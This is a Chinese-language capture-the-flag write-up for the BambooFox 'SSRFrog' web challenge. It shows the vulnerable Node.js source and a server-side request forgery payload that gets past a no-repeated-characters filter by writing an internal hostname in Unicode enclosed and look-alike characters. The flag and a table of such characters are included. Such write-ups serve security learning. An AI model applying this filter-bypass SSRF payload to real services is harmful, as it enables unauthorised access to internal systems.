###### tags: `BambooFox` `Web` # [CTF][Web][BambooFox] SSRFrog 題目連結:[Link](http://chall.ctf.bamboofox.tw:9453/) 0x01 === 此題目已經開門見山地說出SSRF了,那還有什麼好懷疑的呢 >題目畫面  >題目原始碼 ``` const express = require("express"); const http = require("http"); const app = express(); app.get("/source", (req, res) => { return res.sendFile(__filename); }) app.get('/', (req, res) => { const { url } = req.query; if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html"); // no duplicate characters in `url` if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png"); try { http.get(url, resp => { resp.setEncoding("utf-8"); resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":("); }).on('error', () => res.send("WTF?")); } catch (error) { res.send("WTF?"); } }); app.listen(3000, '0.0.0.0'); ``` 很淺而易見的能夠看出我們輸入的URL不能有任何字元重複 而且我們的URL要讓Server可以訪問,否則跳出 =="WTF"== 字眼 對了,在題目畫面按下F12看看原始碼,你會看到小小的一行  原來FLAG就藏在http://the.c0o0o0l-fl444g.server.internal:80 裡面呀! 我承認我一開始是試著把網址變成短網址後,再送出去 但發現Server傳給我的竟然還是WTF...... 可能是URL沒有達到它特定的標準吧! 既然短網址不行的話,那試試看Enclosed alphanumerics吧 將網址從 ``` http://the.c0o0o0l-fl444g.server.internal:80 ``` 轉換成 ``` htTp:ⓣⓗe.c0o₀ⓞ⓪l-fˡ4④₄g。sⓔrvᵉⓡ。inₜₑᵣⓝaⓛ ``` 由此一來送出就可以通過啦 ~ Get Flag === ``` flag{C0o0o0oL_baby_ssrf_trick} ``` 補充 === Unicode整理 >① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ >⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ >⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ >⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ >Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ >ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ >⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ >⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up